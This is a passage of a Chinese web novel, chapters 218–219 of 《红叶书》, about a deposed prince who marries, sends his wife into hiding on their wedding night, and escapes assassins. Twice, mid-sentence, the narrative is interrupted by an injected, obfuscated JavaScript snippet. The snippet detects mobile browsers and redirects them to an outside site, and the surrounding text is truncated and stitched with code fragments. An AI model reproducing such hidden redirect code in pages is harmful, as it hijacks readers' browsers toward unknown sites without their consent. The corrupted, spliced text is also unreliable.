结果暗卫一出去,立马带来了新消息。 朝堂发生动荡,冯棹台被人弹劾了。弹劾之人叫徐礼,弹劾理由是去年西北地区赈灾钱款遭其私吞。 细查之下,梁风才知道徐礼在今年年初当了个小官,靠的是太南郡守写的举荐信,在朝中谋了个很小的职位。不知什么原因,或许是心急,初上任就敢弹劾冯棹台,还是弹劾私吞赈灾款项这么大的事情。 将这事告诉金絮,她万分诧异:“徐礼才多大官?就敢弹劾御史中丞?” 梁风也很奇怪。 这件事背后像是有推手,有人在故意向外散布风声,暗卫查起来十分容易,已经打听到朝中有人说这是徐礼想被太子收入麾下的投名状。 “徐礼背后肯定有人,他没本事敢这样做。”金絮道。 “前阵子柔竹写信给我,说徐礼抛弃了她,不知用什么法子结识了太南郡守的孙女,拿到郡守写的举荐信上京了,似乎在朝中谋了个小官做。”她道:“徐礼根本不是凭自己本事入得朝,心急之下被人利用了,利用他的人针对的是冯棹台。” 梁风有点关心冯棹台,出了趟府,找与義细问此事。 与義告诉他,大臣里有传言说冯棹台是当初反对立三皇子为储君的陈大将军背后的支持者,太子也因此知道除了陈高外,暗中还有个冯棹台反对他。 “皇兄很在乎这个事情,游相在保冯大人,冯大人应当无碍。”与義道。 游照同出于什么愿意保冯棹台?他好像没听过这俩人是一个战线的。梁风想也想不明白。 大致了解事态,他暂时不过多打听。回府问她:“我们要不要帮徐礼一把?” 她愤愤然,“不帮,这人活该,他选的路让他自己走去。徐娘将他托付给我,我这些年已算仁至义尽了。” “好,那我们不帮,也不落井下石就是了。” 她不在乎,梁风更不在乎了,他只是比较关心此时冯棹台的处境。 梁风仍叫暗卫留心朝中有关这件事的风向。 过了一天,风向有变。冯棹台轻而易举自证清白,并当朝对游照同提出疑议。御史府查到那笔款项在下放途中,所经郡县的文书上多了一笔来自于相府的批样。 皇帝认可了冯棹台的疑议,批准御史府期限内查清此案。 梁风听说后更加不明白了,前脚游照同还在保冯棹台,后脚冯棹台就举报游照同。这些文官真是复杂。 那笔赈灾款所赈地区是西北,赈的是前年雪灾,那时他正好和金絮在西北的并阳郡白沙县。梁风于是随时准备着被召进宫问话。 这时小厮匆忙来报,府外有人登门。 梁风接见,来人竟是游琪。 “王爷......求您帮帮我!” 游琪跪在堂下,涕泪纵横,求梁风向皇帝求请,放她父亲一命。 游琪是来求助的。可梁风尚未完整地了解事态,他除了比较关心冯棹台外,还想偏安一隅。 旁边屏风后模糊显出她的身影,她在听,她在乎这位相府千金。 仿佛能听见她担忧的呼吸,梁风抬手命人扶起游琪。 “游姑娘,这件事本王若是插手未必对游丞相有益,你只是病急乱投医,回去吧。” 游琪哭得更厉害了,梁风叫小缃替游琪收拾一下,让游琪回去了。 金絮从屏风后走出来,看着他什么也不说。 梁风明白她的担忧。游姑娘会找上他,是听了谁的主意? “这事或许牵连上王府了,我出去看看。” 她点头。 梁风拿出聘礼单子递给她,然后笑嘻嘻带着暗卫出门,去御史府。 尚未到下卯时辰,冯棹台这会肯定忙着。梁风到了地方,御史府中却未见冯棹台,底下属官说冯大人出外查案去了。 扑了空,梁风想要不要等一会儿,这时御史府外传来消息,许义下狱了。 许义是前年下到并阳郡监督赈灾的刺史,梁风隐隐觉得许义或许和徐礼这事有关,便叫来另一名御史中丞问话。 中丞说,这两日,冯大人的案子有大进展。检举冯大人的徐礼似乎在并阳郡有亲戚,那亲戚和徐礼说去年冬灾时未见过赈灾款项,为此大吐苦水。那年向陛下提议往西北地区赈灾的人是冯棹台,因此徐礼将矛头对准了冯棹台。 而冯棹台为了自证清白,将调查重点放在了许义身上。地方赈灾款贪污事情首要问责的是当年监督赈灾款项落实的刺史,也就是许义。 结果从许义家中搜到了部分赈灾金钱,上批相府印。冯棹台便拿着这个结果,在今天一早进宫和游照同对峙去了。 这样说法听起来和王府无关。他和金絮因冬灾被困白沙县时,见到的那笔赈灾款已经是被贪过后剩余的了。 大约等不到冯棹台出宫,梁风便先回府,告诉金絮目前的事态。 第二天,踩着早朝结束的时辰,梁风再次去御史府,这次顺利见到冯棹台。 他直言询问徐礼和许义这起案子的进展。 “王爷来得正好。”冯棹台命人奉茶,“昨日午后,游相主动认下这件事,坦言赈灾款是刺史许义和并阳郡守联合昧下的,游相只是默认,并未阻止,事后也收到了许义送给相府的一笔封口费。” “不可能。”梁风想都不想道:“堂堂一国之相,稀罕区区一笔封口费?” “自然不仅是为了封口费。而是游相默许后,许义才会愿意完全履行刺史的监督之责。如王爷所见,那笔赈灾款在被许义和并阳郡守联合贪昧后,依然余下了一大笔钱送抵白沙县不是吗?”冯棹台脸上意味不明,“一国之相的位置也颇受掣肘,游相自称愧疚,自揽全责,希望罢官还家。” 梁风还是不太相信。冯棹台不动声色地沉了声音:“我与游相有些私交,游大人想辞官了,但是虑及陛下不会同意,便在辞官前找个由头,好让陛下允他请辞。” 梁风眨眼,有点绕。 冯棹台倒是浅浅笑道:“臣经查发现,徐礼似乎背靠王府?涉及此案的其他人怀疑徐礼或许是受王爷许可行事。” 梁风目瞪口呆,“啊?” “王爷曾安排徐礼在太南府衙中做过小属官,被罢免后行事有些嚣张,不知是不是仗着背后有您。徐礼的行事与您有关,便有人怀疑是您在背后指使徐礼,目的是针对我。” 梁风反应过来了,不可思议道:“我针对你干什么?!” 冯大人不以为意,“臣听说王爷向陛下请旨离京,自愿被黜为庶民,这不正好有了个理由。” 冯棹台悄悄笑道:“这件事情,一举几得。” 梁风疑惑起来,“是这样么。” 他这下有些知道游琪为什么会找上王府求助了,原来是因为这件事背后也有他这个安分王在获利。 徐礼是不是背靠王府他没什么所谓,反正他不打算保徐礼,他给徐礼买官也因为官职太小不会产生什么影响。 不过,他成了被贬的了。而不是自愿抛弃爵位。皇帝原来是打这个算盘,刺杀他的人恐怕会比他想象中多了。 但他还是有点不明白,问道:“徐礼这事给我辞去爵位找了个理由是碰巧吗?” 有这么巧吗?可如果不是碰巧的话,谁在背后操作? 冯棹台微笑喝茶,“不知道。” “游相被罢官的话会连累他一家老小吗?” “应当不会。只游相会被罚得重些。” “徐礼呢?” “徐礼大概会因无证弹劾而克扣月俸,但往后仕途恐怕就此断了。” 梁风哦了一声。 从御史府出来,梁风回府便将大致事态告诉金絮。 她听了并没有可怜徐礼,也没有让他出手帮助徐礼,反而对冯棹台挺好奇,将这件事牵扯进的几个人写下来,罗列出关系,详细分析。 之后梁风不再过多关注外界,专注画地图,策定逃离计划。 她最后也只猜测徐礼背后或许是受冯棹台指使,却没个依据。梁风反而画好了地图。 “我们必须分头行动。” 他展着地图道。事关她的安危,梁风能狠得下心。 她探头过来问:“我走哪条线?” “你走这条。”梁风指着图上以京城为中心向东南方延伸出去的路线,“那座山谷在西南方位,你从京城出发,先向东南方走,转折点是川郡,进入川郡后再转向西方。” 他道:“这条路线的优处是川郡附近官道密集,那里郡县之间往来人流非常大,混入人群中足够隐蔽,而且李婶会说川郡地方土语,你们到了那儿可以停留几日,完全消除痕迹后再出发。” “我和李婶一块走?” “嗯。你这一队不光有李婶,还有小缃和十三。” “你受伤了怎么办?” “我受伤的话就地找个医馆便是。李婶年纪大了,不方便跟着我逃命。”梁风道:“你们伪作投奔亲戚的一家子,小缃是你妹妹,十三是你弟弟,沿路需要不断地乔装打扮、更换商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839952|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队,路上不管遇到何事情都让十三出面。” “我是长姐呢,不让我出面?”她问。 梁风摇头,“男人出面比较好。” “我一个年纪这么大的长姐还未出嫁不是很奇怪?” 好像也是。梁风改道:“那就说十三是你兄长,你们兄妹三人跟着母亲一起投奔亲戚,反正单看外表也看不出十三年纪比你小。” 她沉思,“不好。我就说十三是我丈夫,小缃是十三的妹妹,李婶是我婆婆。” 梁风皱眉驳道:“不好。你就说你新寡,丈夫死后你回到娘家,帮助你娘李婶照顾家里还未出嫁的妹妹和未娶妻的弟弟。” “更加不好,寡妇在外会被欺负的。” 梁风眉头皱得更深,“那听我的,十三是你兄长,你们兄妹三人跟着母亲投奔亲戚。就这样定了。” 她不驳了,再问:“其他人呢?” “我打算最近将府里的人遣散一些,愿意走的走,不愿意走的留下。留下的人分两批,老李带一批从西北方向走,路过北境边城后再折返向南;其余人分散,从东边出发,自己选路去往山谷,这些人如果在半路不愿意跟着我了,也可以带着钱财另谋出路。” 他道:“你们每人都会携带部分金钱出发,在路程过半前将手中的钱财就地找钱庄换一遍。” 她点头,“要换,但是不好换,尤其是大锭的金子。” 一锭锭的金子给出去太过引人注目了,尤其是他们不管去到哪里都是外乡人。 “我也考虑到了。”梁风道:“你这一队如果在路上找不到换钱的法子便不用换了。我想带走的钱主要都在老李那队中,老李中途会伪作一队商贾,就地购置货品后去往北境贸易,将财货倒腾一遍再南下。” 好就好在王府人少,遣散一部分,剩下还愿意跟着他的就不多了。拿着钱出去绕一圈还愿意跋山涉水去往山谷的人就更少了。他预计最后能走到山谷的大概只有她和老李这两队,再加上他的暗卫。 “那座山谷里已经有六名暗卫在,你如果路上因为意外走丢了,你就自己想办法去到上元郡和上元县,这两座城里都会有暗卫接应你。这一路上我们用暗号沟通,暗号只能留在这三条路线经过的三十万户以上的城镇中,在最大的一扇城门左侧的第二十棵树,树身向阳面往上数的第一根枝杈,用小刀留下一道横向划痕,代表你队伍经过了这座城镇。划痕不能太细,要有一指宽,我看到了就会知道你来过。出发之前,你要先将地图背下来。” 地图详细标出了所有郡城和人口较多的大县,小县城没有标出,还额外标了山水。金絮接了地图问道:“你什么时候离京?” “在你们全部走了之后,大约半月至一月我就离京。我会先往北方走,然后跟在老李后面南下。” “我留下的暗号你都能看见?” “嗯,肯定能。” “十三跟着我的话,你身边的暗卫就只有四个人了,你的伤还没有养好。” “我知道,我会去天机阁买几个死士,必要情况死士会替我假死。” 她不说话,梁风知道她在想什么,捻捻她的小指,将她拽近,“总有牺牲。你这一队中,我会让十三优先保护你。” 她还是不说话,梁风捻着她的手指发誓:“这是被逼无奈的情况。不到走投无路,我保证每一队都不会有人死。” 她脸色不怎么缓,梁风道:“既然我还没养好,皇帝肯定轻敌,我有十成把握顺利逃出。” “荆风呢?”她道:“荆风留在王府吧,你从王府离开的时候不能带走它。” 轮到梁风不说话了。荆风太过惹眼,他的确带不走。 “要是舍不得,就在走之前将它托付给你信任的人。” 梁风点点头。 他心里有数的,只是托付给谁好,谁都不如他好。 计划大体定好,梁风召集府内众人,询问下人们愿不愿意离开王府,想走的人每人两斤金子和三贯铜钱。 当天就有不少人领了钱财离府。之前他昏迷的时候府内人心已经有些动荡,此时提出遣散下人,绝大多数人都不想继续在王府干了。 梁风当然不拦着,要走就走。 老李一边派发钱财,一边记录余下的储蓄。梁风一边等圣旨,一边在金絮十二个时辰的监督下喝药,一边完善逃离计划的细节。 还没决定好荆风托付给谁时,皇帝的旨意终于来了。 两道圣旨,一道赐婚,一道革除安分王的诸侯王之位,贬为庶民。理由是安分王暗中遣使徐礼无证弹劾,意图重伤朝廷根本,现褫夺封号,贬离京城。 梁风的心终于落下,婚期定在下月,时日很赶。 朝廷因游照同辞官再次引起动荡,他的婚事肯定不会大操大办,少府和大司农都分不出多余钱财和精力给王府,他可以自己筹备婚事。 自己筹备才能从简,从简才好,新婚当夜就能偷偷离京。 梁风早起不光是打拳了,他加大训练强度,想重新拾起从前的身体素质。 金絮在旁边看得久了,也想参与打拳。梁风便拉着她一起绕着府邸慢跑。 他还能和从前一样,至少是身体,还能和从前一样。 218. 《红叶书》(一三八) 如果没有婚旨,她现在就能离京。但既然赐了婚,那就履行婚旨,按照原计划,她在新婚之夜离京。 剩下的时间她和老李商量,老李北上做什么买卖最便于倒换钱财。梁风和李晟都不懂做生意,她能出出主意。 婚礼由他来筹备,几乎不需要准备什么,备好两套婚服就是了,身边也没什么亲朋好友可以邀请。 她说不邀请太南的小姑娘们,她们上京后如果被人盯上会很麻烦,金絮只书信一封寄过去。 圣旨下来不久,敬先和与義登门找他,问他具体计划如何离京。梁风趁此手写两封婚宴请帖给他们,能邀请来的人大概也就只有敬先和与義了。 “来得正好。你们帮我个忙。”梁风道。 敬先立马凑过来悄悄说:“我们帮你打掩护,你走了之后,京城这边出什么事情我们帮你顶着。” “不用。当然不用你们顶着。我走了之后,如果有人问你们知不知道我的下落,你们说不知道,我往后去哪里、干什么都与你们无关了。” 他怕逃了之后会有人审问敬先和与義,梁风不准备将逃亡方向告诉他们。 他打哨叫暗卫盯着四周,关紧门窗道:“敬先,我需要你在我大婚当天,入夜之后协助我夫人出城。” “大婚当天啊?一个晚上也不等吗?” “不等。”梁风压低声音道:“她那批总共有四人,到时我入洞房之后她会换好衣服从后门偷溜出去,你接到她便送她出城,送到城外二十里的位置等着。” 梁风展开京城地图,指着华德门外二十里的地方,“我事先会在这里准备一辆马车,你等到她与同行的人全部汇合就可以回来了。” “好。”敬先没犹豫就答应了:“送她出去后我在城外过一夜,第二天再回来。” 过夜更好,梁风点头,接着和与義道:“婚礼过后,我想将荆风交给你。” 与義一愣,显然没想到,“我?荆风是草原马,交给我的话恐怕一辈子再无法跑起来了。” 梁风明白,无奈笑笑,“在我身边它也已经停下了。大概再两三年,荆风年纪便大了,即将过了健壮的时候了。我没法带着它,它太显眼。” “那好,皇叔放心吧,我一定帮照顾好荆风。”与義拍拍胸脯。 “怪可惜的。”敬先忽然感叹。 梁风笑笑,“有舍有得。” 一句可惜无法涵盖全部,剩下的时间他想和她多陪陪荆风。 天黑了,与義和敬先各自回府。梁风想和她腻歪会儿,寻去,却见她在院子里很认真地打拳。 轻飘飘的拳头没什么力度,但是打得很专注。梁风迎着她的拳风向她走近,和她说大婚当夜敬先的配合,还有她需在婚期前几天搬出去,方便当天迎亲。 “好。”她道:“老李的计划也定好了。” 货物暂定为各类面粉,北方人爱吃面食。她的计划是找两个拂柳街的原住民,帮助他们在京城内开家面粉铺子,以便他们可以安身立户。 刚开的铺子需要进货,老李派人与他们签订一张购置面粉的单子并由他们以商铺的名义准备路引。其中一个拂柳街民随着老李北上,路遇面粉产量大的郡县便停下,买够货物后再由这人自己带着面粉回京。 那张单子不能勾销,与这人分开后,老李拿着单子在当地大量购入面粉,接着继续以京城大贾的名义前往北境。 “京城两百里外的牟县食材产量很大,不过品质一般,面粉只是其中之一。很多米面铺子积累起产业前大多都是从牟县购进食物原材料,因为便宜。” 梁风觉得可行,“那两个拂柳街的原住民,我来找。” “不,我来。”金絮道:“我会托人找的,不会直接出面,反正婚前我要从王府搬出去,我更方便找人。” “那好吧。” 他倒也有事,明天得去天机阁雇一批暗卫。 不过她要搬出去了,梁风叹气。迎亲的时候再迎回来,好没必要。 “准备得差不多后,我去一趟皇陵,最后一次了。” “嗯。” 隔日,梁风去天机阁分部,雇了一批暗卫,总共二十人,说是身手上佳。他考虑到人多目标也大,在精不在多。他还签了协议,人数少于三人时,立即补充十人,费用一次付清。 之后婚礼一应所需购置妥当,梁风便着手布置王府,布置得喜气洋洋。 布置好后,他向皇帝请旨,最后去一次皇陵。 他独自站在母亲墓前,献上他代金絮奉上的酒。 以后不会再来皇陵见母亲了,也不知道皇帝会不会在他走后让母亲搬出去。 金絮那边忙起来。她天天出门,在王府附近看了一圈宅子,租了一座一进院落,同时将王府大部分钱财转移出去,分心监督梁风每日按时喝药,得空的时候还要对着棋盘背地图,和他一起给荆风喂食。 梁风申诉:“不是说我不会变成药罐子吗?”他不爱喝药,他不是一个容易得病的人。 “喝了,我监督不了几次了。” 她这么说,梁风便一口气干了。 婚服制成,金絮试穿一次便正式搬出去,李婶和小缃陪同她。 王府一下子冷清许多。 梁风看着空落落的院子,有些庆幸从来不把回忆放在屋子上,而是放在住着屋子的人身上。 一切准备就绪,到了婚礼这天。 梁风起个大早,换好婚服,上马。 简单的仪仗吹吹打打,向仅在两条街外的金絮走去。 落地下马,梁风敲门。大门没有阻拦地打开了,一眼便看见堂下一身嫁衣戴着盖头的她。 梁风欢欢喜喜两步跑去牵她的手,隔着盖头凑近打探:“阿絮?” 她嗯一声,梁风捻捻她的盖头,看不清她的脸,牵着她慢慢向外走。 一路又吹吹打打,回到王府。与義和敬先在旁边起哄,梁风牵着她拜堂。 很快礼成,送入洞房。 挑开盖头,她的妆容繁琐精致,他头一次觉得涂脂抹粉也不是什么阻碍的事情。 “真好看。”梁风手都不想放开。 与義扒着他的手臂探头一看,惊喜道:“嚯,皇叔娶的果然是你。我在王府见过你的。” 敬先在后道:“恭喜恭喜,百年好合。” 与義咧牙一笑,“皇婶婶。” 她起身朝与義行礼。梁风捏捏她的手,道:“没有旁的人参宴,不用拘礼,太累的话就将头上这些东西拆掉。” 她轻声应好。 除了与義和敬先,只有附近不怕王府高门的平民邻居前来参宴,人很少,但四方肯定有眼线监视,酒席还是得吃。 留她在房内休息,小缃为她准备吃食,梁风出去和敬先与義喝酒。 人太少了,很难热闹起来,好在叫了戏班子。梁风喝茶,和与義敬先闲话慢饮,为与宴的邻居们派发红包,戏子唱到好处也派红包。 耗了两个时辰,后院里李婶说梁风喝的药中有一味喝光了,于是外出去买。 又一个时辰后,小缃说她房里缺少蜡烛,同样只身出去了。 再至傍晚,邻居们接连散场,戏班子收台,与義和敬先接连告辞,王府彻底没有外人。 梁风继续喝,直到天黑。 他回房,金絮已经洗去妆容换好衣服。她穿着一身粗布麻衣,洗得抽丝发白的布巾裹住头发,脸上却太干净了。 梁风看着她,拿出事先准备好的一盒胭脂。这盒胭脂是褐色的脂粉,涂到脸上会变黑。她接过去抹了一通,又将眉毛画粗一点,最后给他看。 脸色暗沉了还算接近普通人家,但是梁风仍不放心,“尽量少说话,平民妇女没有你这样一口牙齿,但一路上也不要太过遮遮掩掩,容易引人怀疑。” “我知道。” 她知道,她的手却有些发凉。 敬先已经在后门等着了,梁风将她这队的行礼放到车上。行礼都在她这里,李婶和小缃十三那边出门时都只拿着各自的路引。 星光愈亮,今夜天气很好,一切看得清楚,连她眼中努力隐藏的渺茫和不安都看得清楚,前路未卜。 上了车,她回身叮嘱:“记得按时喝药。有人要杀你,你就杀了他。” 梁风笑,很没想到她这样说,点点头,“好,我记住了。”再三牵着她的手,“你也一定不要和十三走散了。” “我知道。你放心吧。” 梁风的眼神还没离开,她当先钻进车里,敬先驾马启程。 目送马车消失在暗夜的街道尽头,梁风才转身回房。 这是他的新婚夜,按理说他应该在房里待一晚上不出来。 这一天也不算辛苦。 梁风独守空房。 空空的床畔,凉凉的被窝。 躺了半晌,意识到她才刚走,他就想她了,后面的日子可怎么熬。 枯坐一晚。天蒙蒙亮,宵禁结束,城门开锁。他在院子里等,终于等到敬先回来。 “放心吧,平安出发了。” 敬先灌了一大壶过夜茶,“我一晚上没睡,跟在后面走了几个时辰,没看见有人尾随。” 梁风松了口气,给自己也倒了一杯。嘴巴都贴到杯口了忽然记起她和李婶都说过不许他喝凉水,便将杯子放下了。 “多谢。” “往后保重。” “嗯。” 街上行人不多,崔敬先踩着晨间露水走了。 梁风回头看王府,高悬的大红灯笼下已然门庭冷落。刚起床的老李站在屋内与他两眼相对,相顾无言。 老李开始收拾婚宴的残羹冷炙,梁风自己熬药喝掉,扯下囍字与红绸。 目前情况来看,皇帝大约有意向放过他的家人。只要婚后这几天不做出大动作,哪怕皇帝改变主意,她也已经走远了。 这日午后,却来了皇帝的圣旨。 安分王已被褫夺封号,成为庶民,即刻收拾行囊,让出府邸归还归朝堂。 这下残局也不用收拾了。 老李拿了归乡盘缠,作为被梁风打发的下人,带上衣物行李,走了,一同走的还有剩余的小厮和下人。 梁风派出暗卫随同老李,自己也收拾好行李,脱下一身诸侯王服制,换上平民衣服。 荆风驾着粗简的马车,搬去圣旨中指示的新住所。 新住所是巷子中一间又小又僻静的宅院,和她买的那间破落屋子差不多。外面有股鸡屎味,屋里有股霉味,无论如何散不去。 梁风一连住了五日,一刻都没出去。每日按时烧火做饭,开窗通风,烟囱向外冒出他在正常生活的痕迹。 看了烟火巷子里的五个日头,梁风心里记着时日,猜测老李携带早已调出王府的所有钱财和那个拂柳街的原住民在两日前就已离京。 按他和老李的约定,如果从王府出去后三日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到了第七天,梁风搭乘小舟,环游城内河。 闲闲坐在船尾,看着越离越远的岸边,感受船下水波悠悠荡荡。 穿过一座石桥,阴影覆过,砰的一声,黑衣人的尸体砸在船篷上。 梁风站起来,这时船停了。船夫将船杆顶端一截扭开,扯出一把细韧窄剑,一跃而起,向他刺来。 梁风不动,岸边某处飞速射来一只镖,割破船夫脖颈,力度之大,带着船夫掉入水中。 岸上行人尖叫,附近游船划远。梁风停在河中央,盯着河面渐渐浮上微薄的血水。 看来天机阁暗卫的确是有些能耐的,身手上佳,等他摆脱追杀,还得把这群买来的暗卫撇下。 杀的人多了,城中出现的尸体也越多,而他守在这里,暗中刺杀他的人没法为同伴收尸。路人看见尸体定会报官,朝廷为了避免影响扩大,自然而然地会将他往城外赶。他顺理成章地离开,一点把柄也不往外落。 逃散的行人见没了危险,纷纷返回头聚在河边,对血水窃窃私语。梁风纵身跳去人少处的岸边,再等了一会儿,见官府的人陆续来了,转头离开。 人群多的地方能令刺杀他的人有所忌惮。眼见入夜,梁风选了家最热闹的客栈,吩咐小二过半个时辰送饭过来。 然而等到夜深,等了一个多时辰,饭还没有送来。 梁风一夜没睡,自从老李走了之后,他基本没咋睡了。 ——重新拾回警惕心,这算暗杀的可取之处。 近身的食物已经不能吃了。晨光微露,梁风去街边刚开业的小铺子叫了碗馄饨,亲眼看着店家往锅里下馄饨,再捞出、加汤、撒料,端到他面前。 吃了口,味道一般,胜在干净。 接着去市集,早市马上开始。 沿路都是早起的大爷大妈们,巡城士兵尚在换岗。梁风大摇大摆地走在街上,试图混入赶集的人群之中,忽然听见后上方的屋檐顶上传来急促的脚步。 旁边大妈的手伸进肘间挎着的竹篮,梁风慢撤一步后仰弯身,竹篮中划出的凛凛寒光从面前横切而过,匕锋掀起他的衣角。 他跳上最近的屋顶,捡一块瓦片。大妈甩了篮子追上,附近屋檐后的刺客纷纷现身,成围的刀光裹挟杀气扑面而来。 三方围势,梁风从包围空隙处逃走,跳过几重屋顶,眼见前方便是城门。 巡城士兵正在换岗,守门卫队显然有处缺漏,刻意等着他。 两侧刺客再度围上,梁风扔出瓦片,正中右侧刺客腋下,他跳起劈脸一脚,夺了对方的刀。 转手一刀切向左侧刺客,对方行动稍阻,梁风又是一脚,暂时甩脱两人。 身后追杀的人陆陆续续被暗卫击落,梁风脚下不停,书转瞬即逝感受到下方某些躲在墙角里的偷窥视线。他加快速度,找准守门疏漏处,一步跃出城门。 城外肯定有陷阱,梁风不急着跑远,当先钻进城门边的乞丐群。 刺杀真正开始了。 他在乞丐群中蹲到天黑,天一黑,城外几乎没有火把。 他避开人群密集处,溜进一家面馆,偷了五六张馕,用布兜了系在身上,再摸去城门东边远离官道的树林口,找到老李离京前拴在此处的四匹骏马。 和三名暗卫一人一匹,就此逃往北方。 219. 《红叶书》(一三九) 密林中跑了半月,见不着一座村落。 崎岖偏僻的林间小路远离官道,放眼望不见人烟。 落叶腐泥吃陷马腿,这座山跑得很艰难。梁风坐在马背上尽可能跑快点,却敌不过体力飞速消耗。 馕已经吃完了,山溪野果都可以果腹,吃食不是大问题,最拖慢脚程的是他的体力。 马匹需要休息,他也需要。从第二天起,他在马背上跑个半天心脏便跳得受不住了,肺部仿佛不断收紧,无法让他大口呼吸,不得不停下来休息。跑跑停停,始终无法甩掉刺客。 他的暗卫只有三人,在竹哨能听见的范围内贴身跟着他。其余天机阁的人在后抵挡刺客,与他保持一定距离。 买来的天机阁暗卫,也算保镖,其中只有一个首卫定时与他联系并露真容,汇报跟进刺客的数量与杀亡情况。 目前刺客没有停止过进攻,一批死了不断有新一批补上,天机阁这边也在消耗人手。 好在刺客身手不算强悍,只是数量多。梁风估计再过一段时日第一批攻势就该停下了,敌方会更换战略,改为追踪,试图消耗他的体力。 他的计划是最多用三月甩脱刺客,第四月去往山谷,第五月就能见到她。 途中若是遇到适合假死的机会,计划时限就能缩短。 比如跳崖。不能跳深崖,要跳足够把人摔死但又能够让人平安下到崖底寻找尸体的山崖。 这需要提前准备。梁风叫首卫监视敌方的同时寻找合适的山崖。 一口气连跑十数日,身后追杀渐弱,他休息的次数得以增加。 合适的山崖遍寻不到,气候愈发晴朗炎热。梁风这夜跑至夜深才停下休息,吃野兔、吞药丸,席地一躺,看着群星准备入睡。 群星璀璨干净,月亮极为清朗。 足够累了,很快就能睡着,睡前尽量不去想她才不会睡不着,他得珍惜休息的时候。 五月快过去了,气候适宜,席地而睡也不怕着凉。暗卫熄了火堆,轮流值岗,梁风能多睡一点。 闭上眼,忽然听见她在抱怨:“骑马会腿疼......” 看见她独自一人坐在树下捶腿,穿的还是离开王府时的衣服,衣服被割破了,没有看见伤口。 她似乎也不要他回应,忍着腿疼攀鞍上马跑远了。 越跑越远,直到跑得看不见。他的视线却只能留在原地。 梁风睁眼,林间天色未明。 暗卫守在他身边,四野寂静。 梦中带出来的焦躁被放大,梁风后知后觉爬起来。她恐怕和十三走丢了,不得不独自一人骑马跑路,不然怎么给他托了这样的梦。 梁风催促三人上马赶路,尽快摆脱追杀。 又是大半月,接近北境黄沙地域,气候愈发干燥,梁风不太适应,他的肺需要更加湿润的空气。 身体的不适应加上越来越想她,越来越心焦,焦得他逐渐烦躁。 连续几夜只睡了一两个时辰后,他决定不跑了,停止吃药。 过了两天,停药的症状显现出来。梁风偶尔觉得虚寒手抖,头昏脑涨,身体外面却十分炎热,不好判断是不是余毒影响。 三卫中的老大让他吃药,梁风不吃。他思索该怎么让刺客以为他余毒发作,猝死在逃亡路上时,刺客的攻势出现短暂缺漏,刺杀人数大大减少。 后方天机阁首卫赶上来,汇报刺客现状。他们应当改近路入了城,最近一座县城在六十里之外,不知是放弃了,还是仅进城修整补给,剩下几个追踪的。 城里肯定有埋伏。梁风叫天机阁剩余全部人手跟上来暗中保护自己,假作得知刺杀人数减少后放松警惕,原地休息,得以有精力夸张地表现停药后的身体反应,给暗中偷窥的刺客看个够。 这期间,天机阁首卫在附近搜寻,终于找到十里外的一座山崖。 一座普通的悬崖,大约百丈之高,崖壁布满细弱的藤蔓,无法抓攀,没有山洞。 梁风不多犹豫,直接选定用那座山崖假死。 和天机阁首卫沟通过,他的计划很简单。刺客再次发动偷袭前,将这附近暗中偷窥的人打晕,互换衣服,提前将他们面部朝下从悬崖抛下去。等到夜晚,他引着追杀的人跑至山崖边,假作未清净的余毒发作,一着不慎掉落崖下。 计划越简单越不容易出现疏漏。追杀的人下崖搜寻,也只会发现砸得稀烂的尸体。 暗卫和天机阁的人提前去往那座山崖挂绳准备,以便梁风往下跳时能拉住绳子吊在半空。其他人暗中以备新一批刺客的偷袭。 所有人依据计划散开,身边只剩一名暗卫。梁风压着心悸,继续原地休息。 每日的夜空仿佛都不一样,今夜的星星似乎更亮一点。马卧身侧,他靠马肚子躺着。马匹跑瘦了,肚子很瘪。 梁风抬起手,手腕缠着发带散开了。他不会编,将三股发绳粗糙绕一绕,简单地重新裹住手腕。 最近睡前都要做这个事,次日跑一天又会散开。 白天忙着逃命,还不至于太过想她,但是每到这个时候,手腕越被裹紧,她总会跳出来在脑子里跑来跑去,打扰他睡觉。 顺利的话,她应当即将路过川郡,不知道有没有想他。 想她应当还在路上,应当不像他这样需要席地而躺观赏夜空,她至少有马车可睡。 发绳的一端被他捏皱了,跑来跑去的结果是既没有缠好,也没能睡着。 梁风看着月亮发呆,耳边仿佛听见她在说话,手指出神地捻着的发绳,忽然摸到一下微刺的触感。他低头细看,发现发绳尾部的布面上有一个极小的刺头扎着。 应该是不小心让草地的枝叶碎屑扎进去了。梁风用两片指甲尖端捏住,扯了出来。 扯出一条极长的丝线。梁风一愣,仔细再看,这根丝线是头发。 他细看布头,三股发绳缠成的发带,每股发绳中部是空的,各穿了一根头发丝。 她的头发?显然是刻意穿进去的。发丝几乎是很完整的一根。 这是发带,他要缠在头发上的。 虽然他没有缠在头发上。发带里有她的头发,他的头发和她的头发缠在一起,岂不就是——结发为夫妻? 梁风忽然想起以前她问过,为什么将这根发带裹在手腕上。 忽地一笑,脸上忍不住开心。偷偷摸摸的,原来很早就在乎他了嘛。 可是这样他就舍不得这条发带了。 梁风睡不着,磨磨蹭蹭,解下发带另一头系着的平安符,揣进怀里。索性将发绳全部解开,取出头发,三根发丝缠着食指指根,再打个结,最后将三股发绳还原。 他编得歪七扭八。还没编完,夜晚的树林中传来鸟叫。梁风瞬间警惕,新一批的刺客已经接近。 漆黑浓密的树叶间闪过几道寒光,呈包围之势环绕在他四周。刀刃反射的光转瞬即逝,周围不动不静,十数道身体砸落掉地的声音传来。 梁风站稳不动,隐隐闻到血腥。不过片刻,天机阁的人拖着两个昏迷的刺客走入月光下,向他道:“活捉两人。” 刺杀他的都是死士,眼见被抓会咬破嘴里的毒丸,活捉的这两个口腔淌着血,毒丸已经被拔出。 